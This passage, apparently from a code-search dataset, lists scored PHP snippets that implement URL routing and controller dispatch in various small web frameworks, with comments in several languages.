foreach($this->routeMap as $r => $info){\n //var_dump($r == $ruta);\n if($r == $ruta){\n //print_r(\"match en $ruta\");\n // Extraemos los datos del json y los pasamos a ExecuteController.\n $controlador = $info['controller'];\n $metodo = $info['method'];\n // print_r([$controlador, $metodo]);\n\n // Se ejecutar el contador que se obtiene del json en razon de la ruta generada\n $this->executeController($ruta, $controlador, $metodo, $request);\n\n } else {\n // print_r(\"no hay match para la ruta requerida\");\n // NOTE: aca va a ir la ejecucion del 404\n }\n }\n }", "title": "" }, { "docid": "79e3842febb47128cf64b008fedeb2d3", "score": "0.5922699", "text": "final private function loadRoute () {\n\n // Print Package Information Header\n $this->PrintHeader();\n\n // Get the route info\n $CONTROLLER = (string) PathFinder::controller ();\n $ACTION = (string) PathFinder::action ();\n $VIEW = (string) PathFinder::view ();\n\n // Add namespace to controller name for calling\n $CONTROLLER_CALL = '\\\\igniteStack\\\\app\\\\Controllers\\\\' . $CONTROLLER;\n\n // Runs the cascade...\n $this->testControllerExists ($CONTROLLER); // TEST: Is the controller existent?\n $this->testActionExists ($CONTROLLER_CALL, $ACTION); // TEST: Is the action existent?\n $this->testViewExists ($VIEW); // TEST: Is the view existent?\n\n /**\n * Run controller and action\n */\n $this->STATE = $this->runAction($CONTROLLER_CALL, $ACTION); // Run the controller & action, and return the STATE\n\n /**\n * Run the cascade\n */\n $this->loadView( // Runs the action and loads the view\n $VIEW, // Pass the path of the view to load\n $this->STATE // Pass the STATE to the view\n );\n }", "title": "" }, { "docid": "f8b2fb61c71899e6ed5e6d87d2901512", "score": "0.5917673", "text": "static function enable_routing()\n {\n self::$routing_enabled = true;\n }", "title": "" }, { "docid": "fc004e272aafd4d4ad3f3ab88bfcccfd", "score": "0.5909408", "text": "public function beforeroute()\n {\n if (!$this->Auth->isLogin() && !$this->get('ERROR'))\n {\n $autorize = [\n '/',\n '/howitworks',\n '/users/login',\n '/users/register',\n '/users/profile/@id',\n '/projects',\n '/projects/category/@category',\n '/projects/search',\n '/projects/page/@page'\n ];\n\n if (!in_array($this->get('PATTERN'), $autorize))\n {\n $this->setFlash(\"Vous devez vous authentifier pour effectuer cette action.\");\n $this->f3->reroute('/');\n }\n }\n }", "title": "" }, { "docid": "c75101ec6de91cd829ef3b14a115ca4d", "score": "0.5897304", "text": "private static function setupRoutes()\r\n {\r\n Config::load(self::$fabRoot.'config' . DIRECTORY_SEPARATOR . 'routing.config', 'routing', array('Routing','transform'));\r\n\r\n // Puis les routes de l'application\r\n if (file_exists($path = self::$root.'config' . DIRECTORY_SEPARATOR . 'routing.config'))\r\n Config::load($path, 'routing', array('Routing','transform'));\r\n\r\n // Puis les routes spécifiques à l'environnement en cours\r\n if (!empty(self::$env))\r\n {\r\n if (file_exists($path=self::$fabRoot.'config'.DIRECTORY_SEPARATOR.'routing.' . self::$env . '.config'))\r\n Config::load($path, 'routing', array('Routing','transform'));\r\n if (file_exists($path=self::$root.'config'.DIRECTORY_SEPARATOR.'routing.' . self::$env . '.config'))\r\n Config::load($path, 'routing', array('Routing','transform'));\r\n }\r\n }", "title": "" }, { "docid": "04fab7c50f23442cc3fdfbcf4a61036b", "score": "0.58942765", "text": "public static function route($param = null)\n {\n }", "title": "" }, { "docid": "0da2e98b9e0871a82f4064ce8fd294c3", "score": "0.5889994", "text": "public function getRoutes(){\n\t\treturn null;\n\t}", "title": "" }, { "docid": "e4ad216474075cbe3e421c5c79862715", "score": "0.5882885", "text": "function route($oncomplete = false){\n // Get the tokenized request elements\n $request = tp::request();\n // Route Match Values\n $rmv = array();\n // Route Match Params\n $rmp = array();\n // Prepare routes for iteration, prepare default route for fallback\n $routes = $this->routes;\n unset($routes['default']);\n // Iterate request, compare to routes\n foreach($routes as $syntax => $method){\n $sparts = (stristr($syntax,'/')?explode('/',$syntax):array($syntax));\n $i = 0;\n $iterating = true;\n $value = 0;\n $op = array();\n $om = false;\n // Iterates until there are no more routes or request elements, whichever number is greater\n while($iterating){\n // Check for a tokenized request element at this index\n if(isset($request[$i])){\n // Check for a tokenized route syntax element at this index\n if(isset($sparts[$i])){\n if($sparts[$i] == $request[$i]){\n // If we have a match increase the value by 2\n $value += 2;\n } elseif($sparts[$i] == '*'){\n // Otherwise increase the value by 1, and open the system for further matching\n $op[] = $request[$i];\n $om = true;\n $value ++;\n } elseif(! $om){\n $value = 0;\n $iterating = false;\n }\n } elseif($om){\n // If not a match element, but in an open match, add request element to params\n $op[] = $request[$i];\n } else{\n $value = 0;\n $iterating = false;\n }\n } else{\n if(! $om){\n // If no match at this index and an open match, this route has no value\n $value = 0;\n $iterating = false;\n }\n }\n // Advance iterator and make sure we still have something to iterate\n $i ++;\n if($i >= count($sparts) && $i >= count($request)) $iterating = false;\n }\n // Set the Route Match Value & Route Match Params for this route\n if($value){\n $rmp[$syntax] = $op;\n $rmv[$syntax] = $value;\n }\n }\n // Sort the routes by value\n arsort($rmv,SORT_ASC);\n reset($rmv);\n // Select the best match\n $winner = key($rmv);\n $params = isset($rmp[$winner])?$rmp[$winner]:array();\n // If there is no match revert to default\n if(! $winner) $winner = 'default';\n // Attempt to fulfill the matched route\n try{\n $result = $this->routes[$winner]($params,$request);\n } catch(Exception $e){\n echo '<h1>500 Error</h1>';\n exit($e->getMessage());\n }\n // Call the oncomplete callback\n if($oncomplete) call_user_func($oncomplete,$result);\n return $result;\n }", "title": "" }, { "docid": "74167000b2ebb50f9c83f031c14bd5de", "score": "0.5879904", "text": "public function route()\n {\n $this->router->route();\n }", "title": "" }, { "docid": "fbee902bbcbf6739dccc4fdaea7ea88c", "score": "0.5874306", "text": "protected function setUpRoutes()\n {\n }", "title": "" }, { "docid": "cfae54d0bf2631e48b6619b2711743e9", "score": "0.5868895", "text": "public function _route_request()\n {\n /* // Map example\n if ($_GET['object'] == 'forum') {\n $_GET = array();\n $_GET['object'] = 'gallery';\n $_GET['action'] = 'show';\n }\n */\n // Custom routing for static pages (eq. for URL like /terms/ instead of /static_pages/show/terms/)\n if ( ! main()->STATIC_PAGES_ROUTE_TOP || MAIN_TYPE_ADMIN) {\n return false;\n }\n $_user_modules = main()->get_data('user_modules');\n // Do not override existing modules\n if (isset($_user_modules[$_GET['object']])) {\n return false;\n }\n $static_pages_names = main()->get_data('static_pages_names');\n $replaced_obj = str_replace('_', '-', $_GET['object']);\n if (in_array($_GET['object'], (array) $static_pages_names)) {\n $_GET['id'] = $_GET['object'];\n $_GET['object'] = 'static_pages';\n $_GET['action'] = 'show';\n } elseif (in_array($replaced_obj, (array) $static_pages_names)) {\n $_GET['id'] = $replaced_obj;\n $_GET['object'] = 'static_pages';\n $_GET['action'] = 'show';\n }\n }", "title": "" }, { "docid": "cff83517d2e907206f2abbf67b82e2c9", "score": "0.5868557", "text": "private function execute_route()\n\t{\n\t\tLogger::log($_SERVER);\n\t\t$method = $_SERVER['REQUEST_METHOD'];\n\t\t// Because localhost does not use htaccess file\n\t\t$path = $_SERVER['HTTP_HOST'] == 'localhost' ? $_SERVER['REQUEST_URI'] : $_GET['path'];\n\t\t$uri = ltrim(rtrim($path, '/'), '/');\n\n\t\tif($method == 'GET')\n\t\t{\n\t\t\t$this->parse_route($this->getRoutes, $uri);\n\t\t}\n\t\telse if($method == 'POST')\n\t\t{\n\t\t\t$this->parse_route($this->postRoutes, $uri);\n\t\t}\n\t}", "title": "" }, { "docid": "457a46f76039ce41b07ef6993b2903e3", "score": "0.5863871", "text": "abstract protected function getSecuredAreaRoute();", "title": "" }, { "docid": "dffe1c68193689d6dc0349b93997e182", "score": "0.58637583", "text": "public function route()\n {\n if ($this->type === 'hierarchy') {\n $this->hierarchy();\n }\n\n if ($this->type === 'dump') {\n $this->dump();\n }\n\n if ($this->type === 'controller') {\n $this->controller();\n }\n }", "title": "" }, { "docid": "4d6dd75b71a50cc837c17a226576b108", "score": "0.5859152", "text": "public function getRoute() {\n return $this->route;\n }", "title": "" }, { "docid": "e8e3d0c75d75532e4078bdb18013083b", "score": "0.5843144", "text": "function route() {\n\t$uri = URI;\n\t$routes = require_once PATH_ROOT . '/config/routes.php';\n\t$routes = do_filter('routes', $routes);\n\tforeach ($routes as $k => $v) {\n\t\tif (preg_match('~' . $k . '~', URI)) {\n\t\t\t$uri = preg_replace('~' . $k . '~', $v, URI);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn $uri;\n}", "title": "" }, { "docid": "759ccf8652aa7e8a1ebfc567ca8fd580", "score": "0.58428335", "text": "public static function getRoute(){\n //Ruta del proyecto\n $app_path_p = dirname(dirname(dirname(self::dirActualLimpia()))) . '/'; \n\n //Evitamos enviar diagonales vacías\n $app_path_p = (strlen($app_path_p) > 2)? $app_path_p : '/';\n \n if($app_path_p){\n //Al no tener el nombre del proyecto en el directorio, quitamos diagnal invertida\n $app_path_p = ($app_path_p == '\\\\/')? '/': $app_path_p;\n } \n\n return $app_path_p;\n }", "title": "" }, { "docid": "6305e291f35ea6026817a500b5067ede", "score": "0.5842662", "text": "public function resolve()\n {\n //GAUNAMAS KELIAS PO \"LOCALHOST\"\n $path = $this->request->getPath();\n $method = $this->request->method();\n\n// var_dump($pathArr);\n\n// var_dump($method);\n// var_dump($path);\n// N.B.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n// var_dump($this->routes);\n\n\n//-----------------------------------------------------------------------------------------------------------------\n //TRYING TO RUN A ROUTES FROM ROUTES ARR\n $callback = $this->routes[$method][$path] ?? false; // jei bandys ivykdyti kelia, kurio nera\n// var_dump($callback);\n\n //IF THERE ARE NO SUCH ROUTE ADDED\n if ($callback === false) :\n\n //path = \"/post/1\" - take argument value \"1\"\n //path = \"/post\" - skip argument take\n $pathArr = explode('/', ltrim($path, '/')); //nutriminti '/', kad nesprogdintu tuscio stringo\n\n\n // path = \"/post/1\" take argument value 1\n // path = \"/post\" skip path argument take\n // extract 1\n if (count($pathArr) === 2) :\n $path = '/' . $pathArr[0];\n $urlParam['value'] = $pathArr[1];\n endif;\n\n// var_dump($path);\n\n // path = \"/post/edit/1\" take argument value 1\n if (count($pathArr) === 3) :\n $path = '/' . $pathArr[0] . \"/\" . $pathArr[1];\n $urlParam['value'] = $pathArr[2];\n endif;\n\n $callback = $this->routes[$method][$path] ?? null;\n\n if (!isset($urlParam['value'])) :\n //404 error sukurti\n $this->response->setResponseCode(404);\n return $this->renderView('_404');\n endif;\n\n endif;\n\n //IF CALLBACK VALUE IS STRING\n //$app->router->get('/about', 'about'); (index.php)\n if (is_string($callback)) :\n return $this->renderView($callback);\n endif;\n\n //IF $CALLBACK VALUE IS ARRAY (than handle with class instance)\n if (is_array($callback)) :\n //$callback yra array - jis ateina is index.php - ten paduodamas masyvas\n $instance = new $callback[0]; //sukuriama nauja\n Application::$app->controller = $instance; //handleContact iskvieciam\n $callback[0] = Application::$app->controller;\n// var_dump($callback);\n\n //check if we have url arguments in callback array\n if (isset($callback['urlParamName'])) :\n// 0 => string 'app\\controller\\PostsController'\n// 1 => string 'post'\n// 'urlParamName' => string 'id'\n\n $urlParam['name'] = $callback['urlParamName'];\n array_splice($callback, 2, 1);\n endif;\n endif;\n\n// var_dump($callback);\n\n\n //IF PAGE EXIST\n\n// $urlParam = [\n// 'value' => 32\n// 'name' => 'id'\n// ];\n\n return call_user_func($callback, $this->request, $urlParam ?? null); //\n\n// var_dump($_SERVER);\n// var_dump($this->request->getPath());\n// var_dump($this->routes);\n }", "title": "" }, { "docid": "a8b383e3cecad2c1a6ad86df4f6ece7b", "score": "0.58325875", "text": "function getPath(){\n $retorno = (!empty(static::DEFAULT_ROUTE))?static::DEFAULT_ROUTE:'';\n return $retorno.strtolower($this->name()).'/';\n }", "title": "" }, { "docid": "0af5775be44a978b4845765f3212fd32", "score": "0.58313465", "text": "private function route()\n {\n foreach ($this->routes as $route => $controller) {\n if ($route == 'default') {\n if (class_exists($controller) && in_array(('doHandler'), get_class_methods($controller))) {\n $this->route[$route] = $controller;\n $instance = new $controller($this->url, $this->setLogsFromData($this->data));\n $this->handler = $instance->doHandler();\n }\n break;\n }\n else {\n if (preg_match($route, $this->url)) {\n if (class_exists($controller)) {\n $this->route[$route] = $controller;\n $instance = new $controller($this->url, $this->setLogsFromData($this->data));\n $this->handler = $instance->doHandler();\n }\n break;\n }\n }\n }\n }", "title": "" }, { "docid": "be222bc9b6afb67799ae849e10e48ed7", "score": "0.58054423", "text": "public function load_route($date) {\r\n $rows = $this->dao->get_routes($date);\r\n $depot = $this->dao->get_agent_data($rows[0]['agent_name'])[0];\r\n $depot_model = new Stop_Model();\r\n $depot_model->populate($depot);\r\n $this->depot_address = $depot_model->full_address;\r\n $this->depot_id = $depot_model->id;\r\n foreach ($rows as $row) {\r\n $truck = new Stop_Collection();\r\n $truck->set_values($row);\r\n $truck->load_delivery_stops();\r\n $this->trucks[] = $truck;\r\n }\r\n }", "title": "" }, { "docid": "07853d09e98b3bffa2409bfc92e1c912", "score": "0.58036417", "text": "public function getRoute()\r\n {\r\n return $this->route;\r\n }", "title": "" }, { "docid": "1698fb0cd4047b7de734c33ffdadf442", "score": "0.57926756", "text": "public function printRoute()\n {\n $list = $this->getRoute();\n\n if(empty($list)){\n printf(\"Missing route data!\\n\");\n }\n\n foreach ($list as $step)\n {\n printf(\"From %s to %s by %s (%s)\\n\",\n $step->getStartLocation(),\n $step->getEndLocation(),\n $step->getTransportMethod(),\n $step->getDeliveryCompany());\n }\n }", "title": "" }, { "docid": "ccdd9159e3dd6d8cc1b78296fa1e1877", "score": "0.5788794", "text": "public static function route()\n {\n return static::$route;\n }", "title": "" }, { "docid": "47f5cbc077557a84c262a5e98eda783b", "score": "0.5781328", "text": "public function getMatchedRoute();", "title": "" }, { "docid": "ac2af2c8c86b731b50c6baa1c1751294", "score": "0.5774422", "text": "function routeRequest(){\n\t\t$this->ajaxRequested = (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest');\n\n\t\t$this->debugOutput('called AgileRequestRouter::routeRequest()');\n\t\t$this->debugOutput(\"_SERVER['REQUEST_URI']<BR>{$_SERVER['REQUEST_URI']}\");\n\t\t$this->parsedUrl = parse_url($_SERVER['REQUEST_URI']);\n\t\t$this->debugOutput(\"parsedUrl: <PRE>\" . print_r($this->parsedUrl, TRUE) .\"</PRE>\" );\n\t\t$this->routedUri = $this->AgileApp->systemConfigs['publicRoot'];\n\n\t\tif(!isset($this->parsedUrl['path'])){\n\t\t\t$this->serve404error('invalid path in route');\n\t\t\treturn;\n\t\t}\n\t\t$systemPathPos = strpos($this->parsedUrl['path'], $this->AgileApp->systemConfigs['publicRoot']);\n\t\t$this->debugOutput(\"searching for systemPath: (\".$this->parsedUrl['path'].\") result: (\" . var_export($systemPathPos, TRUE) .\")\" );\n\n\t\t//Search for and strip out the system Root:\n\t\tif(FALSE !== $systemPathPos){\n\t\t\t$this->routedUri = substr($this->parsedUrl['path'], strlen($this->AgileApp->systemConfigs['publicRoot']));\n\t\t}\n\n\t\t$this->debugOutput(\"routedUri: (\". $this->routedUri .\")\" );\n\t\t$routeUriParse = $this->routedUri;\n\n\t\tif(substr($routeUriParse,0,1) === '/'){\n\t\t\t$routeUriParse = substr($routeUriParse,1);\n\t\t\t$this->debugOutput(\"found leading slash - stripping.<BR> routedUri: (\". $routeUriParse .\")\" );\n\t\t}\n\n\t\t$nextSlash = strpos($routeUriParse,'/');\n\n\t\tif($nextSlash === FALSE){\n\t\t\t$this->debugOutput(\"There are no more slashes!\" );\n\t\t\t$this->debugOutput(\" - routeUriParse: {$routeUriParse}\" );\n\t\t\tif($routeUriParse == \"\"){\n\t\t\t\t$this->routeClass = false;\n\t\t\t}else{\n\t\t\t\t//no trailing slash? add one!\n\t\t\t\t$this->redirect($routeUriParse.'/');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t$routeUriParse = '';\n\t\t}else{\n\t\t\t$this->debugOutput(\"nextSlash: \" . var_export($nextSlash, TRUE) );\n\t\t\t$this->routeClass = substr($routeUriParse, 0, $nextSlash);\n\t\t\t$routeUriParse = substr($routeUriParse, $nextSlash+1);\n\t\t}\n\t\t$this->debugOutput(\"routeClass: \".$this->routeClass );\n\t\t$this->debugOutput(\"routeUriParse: \".$routeUriParse );\n\n\t\t$indexFileName = 'index.html';\n\n\t\t//If we are literally routing to \"ControllerName/index\" or \"ControllerName/index.html\", redirect instead\n\t\tif($this->routeClass == $indexFileName){\n\t\t\t//This is for apps with no controller, where they use another apps controller\n\t\t\t$this->redirect(\"\");\n\t\t\treturn;\n\t\t}\n\n\t\tif(strlen($routeUriParse) === 0){\n\t\t\t$this->routeMethod = 'index';\n\t\t}else{\n\t\t\t//Do we have another slash?\n\t\t\t$nextSlash = strpos($routeUriParse, '/');\n\t\t\tif($nextSlash === FALSE){\n\t\t\t\t$this->routeMethod = $routeUriParse;\n\t\t\t}else{\n\t\t\t\t$this->routeMethod = substr($routeUriParse, 0,$nextSlash);\n\t\t\t}\n\t\t\t$this->debugOutput(\"routeMethod: \".$this->routeMethod );\n\n\t\t\t//If we are literally routing to \"ControllerName/index\" or \"ControllerName/index.html\", redirect instead\n\t\t\tif($this->routeMethod === $indexFileName || $this->routeMethod === 'index'){\n\t\t\t\t//This is for apps with no controller, where they use another apps controller\n\t\t\t\t$this->redirect($this->routeClass.'/');\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t//If you are going to the server root with no app, use the configured default root.\n\t\t//Default Class=Root\n\t\t//Default Method=index\n\t\tif($this->routeClass === false){\n\t\t\t$this->routeClass = $this->configs['rootClass'];\n\t\t\t$this->routeMethod = $this->configs['rootMethod'];\n\t\t}\n\t\t$classExists = false;\n\t\t$phpLocations = array(\n\t\t\t'php'\n\t\t);\n\t\tforeach($phpLocations as $phpDir){\n\t\t\t$this->classFile = $this->AgileApp->systemConfigs['systemPath'].$this->routeClass.'/'.$phpDir.'/'.$this->routeClass.'.php';\n\t\t\tif(file_exists($this->classFile)){\n\t\t\t\t$classExists = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t$this->debugOutput(\"classFile: \".$this->classFile);\n\t\t$this->indexFile = $this->AgileApp->systemConfigs['systemPath'].$this->routeClass.'/'.$indexFileName;\n\t\t$this->debugOutput(\"indexFile: \".$this->indexFile );\n\t\t$this->debugOutput(\"method: \".$this->routeMethod );\n\n\t\tif(!$classExists){\n\t\t\t$this->debugOutput(\"class file doesn't exist! \".$this->classFile );\n\t\t\t//This is for apps with no controller, where they use another apps controller\n\n\t\t\t//do we have a trailing slash? Are we looking at a directory?\n\t\t\tif(substr($this->parsedUrl['path'],-1) == '/'){\n\t\t\t\t$this->debugOutput(\"URI has a trailing slash!\" );\n\t\t\t\t$dirIndex = $this->AgileApp->systemConfigs['systemPath'] . substr($this->parsedUrl['path'],1) . $indexFileName;\n\t\t\t\t$this->debugOutput(\"Do we have a local index? \". $dirIndex );\n\t\t\t\tif(file_exists($dirIndex)){\n\t\t\t\t\t$this->logRequest(false,true);\n\t\t\t\t\treadfile($dirIndex);\n\t\t\t\t}else{\n\t\t\t\t\t$this->serve404error('directory route has no index file');\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$this->serve404error('File not Found - no trailing slash');\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\tchdir( dirname($this->classFile) );\n\n\t\trequire_once($this->classFile);\n\t\tif(!class_exists($this->routeClass)){\n\t\t\t$this->serve404error('The '.$this->routeClass.' class is not in '.$this->classFile);\n\t\t\treturn;\n\t\t}\n\t\t$permCheck = $this->AgileApp->PermissionsManager->checkPermissions($this->routeClass,$this->routeMethod);\n\t\tswitch($permCheck){\n\t\t\tcase AgilePermissions::NOT_AUTHENTICATED:\n\t\t\t\t$this->serveLoginRedirect();\n\t\t\t\treturn;\n\t\t\tcase AgilePermissions::PERMISSION_DENIED:\n\t\t\t\t$this->serve401error($this->AgileApp->PermissionsManager->errorMsg,$this->routeClass,$this->routeMethod);\n\t\t\t\treturn;\n\t\t\tcase AgilePermissions::METHOD_NO_PERMISSIONS:\n\t\t\t\t$this->serve404error($this->AgileApp->PermissionsManager->errorMsg);\n\t\t\t\treturn;\n\t\t\tcase AgilePermissions::PERMISSION_GRANTED:\n\t\t\t\t//carry on\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$ClassInstance = new $this->routeClass();\n\t\t//Init Class Variables\n\t\t$ClassInstance->AgileApp = $this->AgileApp;\n\t\t$ClassInstance->database = $this->AgileApp->database;\n\n\t\t//Call AgileInit\n\t\tif(is_callable(array($ClassInstance,'init'))){\n\t\t\t$ClassInstance->init();\n\t\t}\n\n\t\tif(FALSE === is_callable(array($ClassInstance, $this->routeMethod) ) ){\n\t\t\tif($this->routeMethod === 'index'){\n\t\t\t\tif(file_exists($this->indexFile)){\n\t\t\t\t\t$this->logRequest(false,true);\n\t\t\t\t\treadfile($this->indexFile);\n\t\t\t\t}else{\n\t\t\t\t\t$this->serve404error('This class has no index method and no index.html.');\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t$this->serve404error(\"Method ({$this->routeMethod}) does not exist or cannot be called in class ({$this->routeClass})!\");\n\t\t\treturn;\n\t\t}\n\t\t$this->logRequest(false,true);\n\t\t$routeMethod = $this->routeMethod;\n\t\t$ClassInstance->$routeMethod();\n\t\treturn;\n\t}", "title": "" }, { "docid": "b45bdfc2995a62e971439fd7cc9a00a3", "score": "0.5746541", "text": "public function commonLandingAction()\n {\n //throw $this->createNotFoundException('An error occurred while processing your request.');\n\n echo __METHOD__ . '<br/>';\n echo 'Route parameters:<br/>';\n var_dump($this->getRequest()->attributes->get('_route_params'));\n exit;\n }", "title": "" }, { "docid": "f54584fa37adb306ae2392b8c0a9e421", "score": "0.5744979", "text": "public function getRoute() {\n\t return $this->route;\n\t}", "title": "" }, { "docid": "ea3f990d2309f7884e5ae5a6494f43d4", "score": "0.57441247", "text": "function route()\n {\n // Hier wordt de functie aangeroepen die de URL op splitst op het standaard seperatie teken (in PHP is dit een /)\n if(isset($_GET['url'])){\n $this->url = new Url($_GET['url']);\n }else{\n $this->url = new Url();\n }\n // Er wordt een variable opgemaakt uit de URL, de eerste variabele wordt geplaatst in de key controller, de tweede wordt in de key action geplaatst. De overige worden in params geplaatst (als array)\n // Als die niet bestaat, gaat hij de standaard controller inladen, welke in Core.php is aangemaakt.\n // Hierna roept hij standaard de index functie aan.\n if (null == $this->url->getController()) {\n $controller = new HomeController();\n $controller->index();\n } //wanneer we de controller moeten zoeken\n else {\n //check if file exist somewhere (nested) in controller folder\n $found_file = $this->checkFileExist();\n //if file is found in controller folder (recursively), call the functions on it\n if ($found_file) {\n $controller = $this->url->getController();\n $controller = new $controller;\n $action = $this->url->getAction();\n // Vervolgens wordt er gekeken of er een functie met de naam bestaat die in de key action zit.\n // Bijvoorbeeld: http://localhost/Students/Edit/1, dan is de action Edit.\n // De 1 wordt als eerste 'params' geplaatst\n // In de controller Students wordt gekeken of de function Edit bestaat.\n if (method_exists($controller, $action)) {\n //Controleer of de action die je opvraagt, wel opgevraagd mag worden met de requesttype (Get/Post)\n $methodAccess = $controller->getMethodAccess();\n if ($_SERVER['REQUEST_METHOD'] == (array_key_exists($action, $methodAccess) ? strtoupper($methodAccess[$action]) : Null)) {\n // Wanneer die bestaat wordt er gekeken of je parameters hebt meegegeven bestaan. Als die bestaan worden die aan de functie meegegeven\n //check middleware\n $passed = true;\n foreach($controller->getMiddleware()[$action] as $middleware)\n {\n $middlewareInstance = new $middleware();\n if(!$middlewareInstance->getPassed()){\n $passed = false;\n break;\n }\n }\n if($passed){\n if ($this->url->getParams()) {\n $controller->$action($this->url->getParams());\n } else {\n // Als ze niet bestaan, wordt alleen de functie uitgevoerd\n try {\n $reflectedFunction = new ReflectionMethod($controller->getName(), $action);\n if(count($reflectedFunction->getParameters()) == 0){\n// try {\n\n $controller->$action();\n// }\n// catch (Exception $e) {\n// $this->errorController->error_scripting_mistake($controller->getName(), $action);\n// }\n }\n //wanneer de functie wel parameters accepteerd, maar deze niet zijn meegegeven, dan wordt er een error weergegeven\n else{\n $this->errorController->error_incorrect_parameter_count($controller->getName(), $action);\n }\n } catch (ReflectionException $e) {\n $this->errorController->error_router_reflection($controller->getName(), $action);\n }\n }\n }\n } else {\n $this->errorController->error_wrong_route_access_type($controller->getName(), $action, $_SERVER['REQUEST_METHOD']);\n }\n } else {\n // Wanneer de action niet bestaat, wordt de errorpagina getoond\n $this->errorController->error_404_action($controller->getName(), $action);\n }\n } else {\n // Wanneer de controller niet bestaat, wordt de errorpagina getoond\n $this->errorController->error_404_controller($this->url->getController());\n }\n }\n }", "title": "" }, { "docid": "1908dfa824ced23a445cd6ae217c8ba7", "score": "0.5744044", "text": "public function routes($parsed = false);", "title": "" }, { "docid": "0b6747f8ed6083f0994f11d516933f32", "score": "0.5736489", "text": "public function route(){\n //backup the original paths array\n $modulepaths = self::$originalmodulepaths = Kohana::config(\"core.modules\");\n \n //loop through all component folders\n foreach (new DirectoryIterator(APPPATH . \"pagefillers/default/components\") as $fileInfo) {\n if($fileInfo->isDot()) continue;\n $modulepaths[] = APPPATH . \"pagefillers/default/components/\" . $fileInfo->getFilename();\n }\n \n //save module paths to configuration\n Kohana::config_set(\"core.modules\", $modulepaths);\n \n //after the routing, the original modulepaths will be restored with the restorepaths, which is called at the sytsem.routing event, after the Router Setup has run\n }", "title": "" }, { "docid": "188068ac7715448304ada7d7220bf1c0", "score": "0.5720102", "text": "private function handle_routing()\n {\n\n // Allow shorter URLs (users/view/3 becomes users/3)\n if (is_numeric($this->action)) {\n\n // Prepend the number in action to params array\n array_unshift($this->params, $this->action);\n\n // Overwrite action to view\n $this->action = 'view';\n }\n\n }", "title": "" }, { "docid": "9995b0843e8e20e50db65b198436503a", "score": "0.5717154", "text": "function route(string $path) {\n }", "title": "" }, { "docid": "e80f5f9c274ebdea7ebd9a5f66f528c2", "score": "0.571511", "text": "static function add_routes () {\n\t\t$filename = 'routes.php';\n\t\t$hook_comment = '// generator hook (do not remove or modify this comment)';\n\t\t$content = \"// \".self::$name_singular.\" routes\".PHP_EOL;\n\t\t$content .= \"Router::set_route('\".self::$name_variable.\"', '\".self::$name_pascal.\"Controller::index', 'signed_in', 'Read \".self::$name_plural.\"');\".PHP_EOL;\n\t\t$content .= \"Router::set_route('\".self::$name_variable.\"/datatable', '\".self::$name_pascal.\"Controller::datatable', 'signed_in', 'Read \".self::$name_plural.\"');\".PHP_EOL;\n\t\t$content .= \"Router::set_route('\".self::$name_variable.\"/create', '\".self::$name_pascal.\"Controller::create', 'signed_in', 'Create \".self::$name_plural.\"');\".PHP_EOL;\n\t\t$content .= \"Router::set_route('\".self::$name_variable.\"/update/(\\d+)', '\".self::$name_pascal.\"Controller::update', 'signed_in', 'Update \".self::$name_plural.\"');\".PHP_EOL;\n\t\t$content .= \"Router::set_route('\".self::$name_variable.\"/delete/(\\d+)', '\".self::$name_pascal.\"Controller::delete', 'signed_in', 'Delete \".self::$name_plural.\"');\".PHP_EOL.PHP_EOL;\n\n\t\tself::add_content_before($filename, $hook_comment, $content);\n\t}", "title": "" }, { "docid": "577d7f36ea005cd7008b5005a41e8701", "score": "0.57074416", "text": "public function getRedirectRoute()\n {\n // Never deviate\n return null;\n }", "title": "" }, { "docid": "b4135767b3a6309d965340d5d5cabc96", "score": "0.5695875", "text": "public static function getRoute()\n {\n return self::$route;\n }", "title": "" }, { "docid": "f22017c5e00f75884da5b177caf0c45f", "score": "0.5695382", "text": "private function _findeRoute($uri)\n\t{\n\t\t$uri = rtrim($uri, '/');\n\t\tforeach ($this->_routes as $route) {\n\t\t\t/*if ($this->matchMap($uri)) {\n\t\t\t\treturn $route;\n\t\t\t}*/\n\t\t}\n\t}", "title": "" }, { "docid": "8ec57e2a74e94c5d2d80d387897f5091", "score": "0.5691993", "text": "public function getRoute($item);", "title": "" }, { "docid": "7632aeb3c7fdd26c7756e274689708a1", "score": "0.56892884", "text": "public function routeRequest() {\n // How to deal with ignored paths\n if (in_array($this->urlElements[0], self::$ignore)) {\n header($_SERVER['REQUEST_URI']);\n } else {\n if ($this->urlElements[0] == \"admin\") {\n $this->controller = \"Admin\";\n if (count($this->urlElements) == 1 || $this->urlElements[1] == \"3d\") {\n $this->controller .= \"3D\";\n } else if ($this->urlElements[1] == \"code\") {\n $this->controller .= \"Code\";\n }\n } else {\n // Default\n $this->controller = \"MainView\";\n } \n $this->controller .= \"Controller\";\n }\n }", "title": "" }, { "docid": "86c2570f2ba7bd6ebddd3cc0224bd44a", "score": "0.5686517", "text": "function __construct(){\n // echo $_SERVER['REQUEST_URI'];\n \n $url = isset($_GET['url']) ? $_GET['url']: null;//if exist url or null\n $url = rtrim($url, '/'); //delete spaces\n $url = explode('/', $url);//explode a string into a arrays\n // var_dump($url);\n $Controller = 'controllers/' . $url[0] . '.php';\n //echo \"<br>$archivoController<br>\";\n if(empty($url[0])){//by default always put Home if empty url\n $Controller = 'controllers/home.php';\n require_once $Controller;\n $Route = new Home();\n $Route->loadModel('home');\n //var_dump($Route);\n $Route->render(); //render view\n return false;\n }\n if(file_exists($Controller)){\n require_once $Controller;\n $Route = new $url[0];\n $Route->loadModel($url[0]);\n // echo \"$ url[0] $url[0]<br>\";\n \n // var_dump($Route);\n \n $nparam = sizeof($url);\n // echo($nparam); # of/.../.../...\n\n $url2=$_SERVER['REQUEST_URI'];\n $url2=explode('?', $url2);\n $nOptionalParam=sizeof($url2);\n if($nparam > 1){\n \n \n\n if($nparam > 2){\n $param = [];\n for($i = 2; $i<$nparam; $i++){\n array_push($param, $url[$i]);\n // echo $url[$i];\n }\n \n $Route->{$url[1]}($param);\n // echo(\"this\"); \n }else{\n // echo $url[1]; 